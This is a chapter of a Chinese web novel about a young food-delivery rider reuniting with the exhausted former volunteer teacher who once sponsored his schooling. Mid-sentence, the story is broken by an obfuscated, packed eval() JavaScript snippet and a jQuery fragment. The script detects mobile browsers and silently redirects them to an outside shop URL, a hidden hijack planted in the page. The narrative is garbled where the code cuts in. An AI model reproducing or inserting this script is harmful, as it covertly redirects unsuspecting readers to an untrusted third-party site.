何小虎没有思考过这个问题。
自己为什么在送外卖？送外卖不是很正常吗像自己这样的人。
程述不接他手里袋子，就那样看着他，微微垂着眼睛很疲惫很冷漠。太久没有修理的头发长到挡住大半眼睛，消瘦的脸颊凹陷，眼下的青像暴雨后的湖泊，只看一眼就将何小虎的心淹没。
“嗯？”程述眉头蹙着。
“我……因为我……”
何小虎不是会撒谎的人，嘴边的话卡了几次都不知道怎么说，他害怕程述的眼光，便逃避着深深地低下头去。
“小虎？”程述的声音温和一点，伸手接过何小虎手中的外卖纸袋，“后面还有单子吗？”
“没有了。”
“进来。”
何小虎还穿着送外卖的衣服呢，头上戴着安全帽，鞋子也脏。
他还在想这些的时候，程述已经从鞋柜里拿出了一双拖鞋，轻轻放在玄关地垫前。
何小虎赶紧换鞋进去了。
他觉得程述有点生气，虽然不知道他在气什么？生气自己在送外卖吗？这有什么好生气的？难道是不喜欢烧鹅吗？
何小虎小心地跟进去，发现家里空空荡荡的，空调开得很低，好多家电和家具都还没有拆塑封膜。客厅的窗帘全都拉上了，似乎察觉到何小虎对这样暗的光线不习惯，他伸手打开了客厅的射灯。
“坐吧。”程述想给何小虎倒水，但他最近都是在水龙头接水喝，也没有烧开。打开冰箱看了一眼，里面有瓶装水和饮料，他拿了一瓶给何小虎。
何小虎两只手去接，“那天接到单子，她打电——”
“我知道。”
“哦。”
“你发现了我，装作不认识，然后天天给我送吃的喝的。”
何小虎低着头，两只腿乖乖并拢在一起，“我……我看你不太好，怕你不吃饭我才这样的。都是很好的店，我经常去取餐，后厨都是很干净的。”
“这不是重点。”程述声音依旧很冷，他在侧面的贵妃椅坐下来，再次上下打量何小虎，“把帽子摘了。”
何小虎不知道他为什么冷冰冰，也不知道他为什么这么憔悴。
何小虎不敢问，因为此刻程述更想盘问他。
“你在打暑假工吗？”程述开口。
何小虎看着他觉得他好瘦，太瘦了，怎么会瘦成这样，比自己还要瘦。
“不是。”何小虎轻轻摇头。
“你没有上学了吗？”
“嗯。”
“为什么？”
“我……”何小虎惭愧地低下头，他还记得当初答应程述的话。
不知从何说起，发生了好多好多事，何小虎只好抬眼看向程述，可怜巴巴的。
“爸妈呢？”
“都不在了。”
程述干涩苍白的嘴唇微张，欲言又止好几次，眼珠颤抖。
何小虎不想看他伤心，主动解释说：“我爸判了两年半，出来之后……没太久他就死了，后来我妈生病，治了一年多，走了。”
程述喉结上下滑动，抿了两次嘴唇，声音有些抖，“奶奶呢？”
“和我爸一起没的。”
“怎么回事？”
“家里起火了，烧死的。”
“妈妈什么病？”
“乳腺癌。”
对话不过五分钟，没有什么修辞，就这么干巴巴几句。
“怎么不告诉我。”程述深呼了一口气，“周老师不是有我的联系方式吗？”
“妈不让我联系你。”
妈妈不愿让何小虎去乞求程述的帮助，在她印象中，程述也是个学生。何小虎听话，没有去找他，就这样自然的断了联系。
程述走之后和周老师一直有联系，他在资助何小虎，但是在何小虎高一之后，周老师就不再收取程述的资助了。
周老师没具体说，只说他家说不用了，程述那时候忙，没有细问。
“你不上学了？”
“嗯。”
“你今年……十八岁？”
“十九岁。”
程述看他的样子，不像是刚开始跑外卖的。
“后面你就一个人吗？”
“嗯。”
何小虎一问一答，他看着程述，更想知道程述怎么了。
他想开口叫他哥哥，可是嗓子像被堵住一样，怎么也叫不出来。他不再天真自在，在他都没意识到的时候，已经变得寡言怯懦。
“什么时候来广南的？”程述接着盘问，像当初在思塘的时候一样。
“一年多前。”
“妈妈一年多前走的？”
“嗯，我们在林城治病。”
何小虎特意说了地点，林城是省会。以前程述跟他说过，他外婆家就在林城，他很喜欢林城，所以支教的时候选了同省的思塘乡。
程述：“嗯，怎么会来广南？”
何小虎：“同村的哥哥在这边打工，说工资高，我来赚钱还债。”
“治病欠的？多少钱？”程述微微前倾一点。
“十四万。”何小虎点头，微微挺直腰板，“我都还上了。”
何小虎骄傲地挺直腰板，程述的脸色却更差了。
他看着何小虎。
一年多的时间，他一个人跑外卖还了十四万，这要吃多少苦。
“这边工资高一些。”何小虎没来由地又说一句，他眼巴巴地看着程述，等他说话。
“什么时候还清的？后面打算做什么？”
何小虎的眼神闪躲，嘟囔着：“后面……”
程述：“你还小，总要想想以后的路，你…自己一个人，更要考虑好。”
“我不知道。”何小虎说。
他当然不懂这些，这么累的人生，能过好眼下就很好了。
“有什么喜欢的吗？”程述问。
“嗯……没有。”
“那不那么喜欢，但是想做的事有吗？”程述想引导他发散一下。
何小虎想了想，“我又想拿单王。”
“单王？”
“嗯，单王有额外的奖金。”
程述看他真诚的样子，肯定不是乱说。
虽然跑外卖很好，何小虎肯干就一定能养活他自己，但程述觉得他要有别的出路，如果有一天不能跑外卖了他能做什么。
又或者说，在程述心里依旧像六年前一样，期待他能成为一个优秀的人。
何小虎成为了一名优秀的外卖员，但是就程述目前的观察来看，他不是一个生活幸福地人。
程述已经没有力气管自己的幸福了，此刻却抱着想要何小虎幸福的想法。
“如果你想继续读书的话，我来想办法。”程述忽然说。
何小虎微微愣住，他不知道程述为什么突然说读书的事情，他已经离开校园很久了，算一算快四年了。
在何小虎的身边有很多离开校园的孩子，有些比他还早，大家就这样开始打工，没有再回去读书这一说。
“可是我都很大了。”何小虎小声说。
在程述眼里他还很小，听到这句觉得有些好笑又有些心酸。
他和身边的朋友十九岁的时候才踏入大学校园，还是什么都不懂的小朋友。
程述抿着嘴唇轻微点头，“好，我知道了。”
程述看着他的时候，依然觉得他还是小孩子，但他的眼神已经不再无助。成长得快一点，也许是件好事。
何小虎无法和程述说，在过去的一段时间里他的心和□□都平静得没有波澜，晴天和雨天都一样，站着躺着也一样。
“你呢？哥……哥。”何小虎生涩地开口。
“我？”
“嗯。”何小虎拘谨地把双手拢在一起，粗糙的掌心摩挲手背有点痛，他小心翼翼地问：“你怎么样？”
在何小虎的心里，他是没有资格管程述的，但是他胆大妄为地开口了。
程述自然地说：“刚辞职，休息一阵子。”
何小虎：“为什么？”
程述看着他，片刻后眼神转移开，没有回答这个问题。他不想让何小虎知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898272|212892||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，也不想随口扯谎。
甚至在这个问题的答案开始在脑中盘桓之后，那种疲惫无力地感觉瞬间弥漫全身。
“哥哥。”何小虎喊他。
程述嗯了一声，想了想之后说：“你走吧。”
“哦……”何小虎很听话，乖乖站起来往门口走，他穿上鞋子站在门口，“哥哥，我明天再来。”
“不用来了，以后都不用再来。”程述说。
何小虎在门口站了一会儿，程述也没有来关门，只是坐在沙发上。
何小虎说：“我明天来。”
程述没有说话，从沙发上起身离开再次走入黑暗中。何小虎关上门去坐电梯，电梯里墙壁倒映出模糊变形的身影，一个瘦弱佝偻的少年。何小虎微微板正自己的身体，不再去看，只想着明天给程述带什么过来。
何小虎很晚才回下班，城中村道路狭窄，不知道是谁停车停那么歪挡住了路，何小虎停车下来挪。现在很多电动车都带防盗，何小虎一推车子就发出警告鸣笛。
刺耳的鸣笛声在巷子里回荡，何小虎有些无措地放下。
“喂！你搞什么？！”楼上的窗台冒出一个赤裸上半身的男人。
“我不是故意的。”何小虎下意识道歉，“对不起。”
“你要做什么？”
“车子停太外面了，我过不去。”
男人不耐烦的回屋拿了钥匙解锁，让何小虎自己挪，骂了两句才回去。
何小虎骑着车回到自己租住的地方，拎着一份客户不要的外卖，麻木地走进出租屋。
他习惯了别人的恶意，习惯被人骂，习惯了道歉。
同事都说他，送外卖又不是奴隶，该为自己讲理的时候就要站出来，怕什么。
何小虎只是笑笑，敷衍地嗯一声。
他不是害怕，是没这个精力，其实……他也不生气。
外卖是一份鸡排饭，傍晚的单子，这会儿已经凉透了。
屋子里只有一张床一个衣柜一张桌子一个板凳，是标准的城中村单间配置，何小虎坐在椅子上咀嚼着鸡排。
屋子里灯很亮很白，何小虎却黑黑的。
他想起今天看到的程述，他很白，比六年前在思塘见到的还白。
他应该很久没有出门了。
第二天一早，何小虎骑着车跑了半个城市，去体育公园门口的器材店买了羽毛球和篮球。以前程述和同学在思塘支教的时候，课余时间他们会在操场上和同学一起玩。
何小虎没有玩过，程述叫他了，他没去。
他不会，也很莫名的不想让程述知道他不会。
“哟，又是你，我记得你。进来吧。”
是之前碰见的奶奶，她正好要出门。
何小虎说了谢谢。
“对了，小伙子问你个问题。”奶奶说。
“嗯，您问。”
“你们是不是有个功能是帮别人送东西？不是点外卖。”
何小虎点头，“是跑腿。”
“对对。”奶奶笑着，拿出手机：“这个怎么弄啊？我总是想给我女儿送吃的，又住得太远了。”
何小虎看她手机上有美团，帮她录好地址，教她怎么用。
十八楼，何小虎走出电梯。
“你好外——”何小虎忽然反应过来，已经不能用这个让程述开门了。
“哥哥…哥哥！你在家吗？”
“程述哥哥——”
何小虎又轻轻拍了两下门，把耳朵贴在门上听，家里一点动静都没有。
天气好热，今天一定有四十度了。
何小虎在门口等了一会儿，有邻居回来，看何小虎穿着外卖的衣服，好心跟他说放门口就行了，这家不知道有没有人。
“好，谢谢。”
何小虎没有走，在门口等着，过了一会儿他又贴着门小声喊。
“哥哥我是小虎，你在家吗？”
程述从里面推开了门。
“哥哥。”
何小虎站在门口，笑着，让程述说不出重话。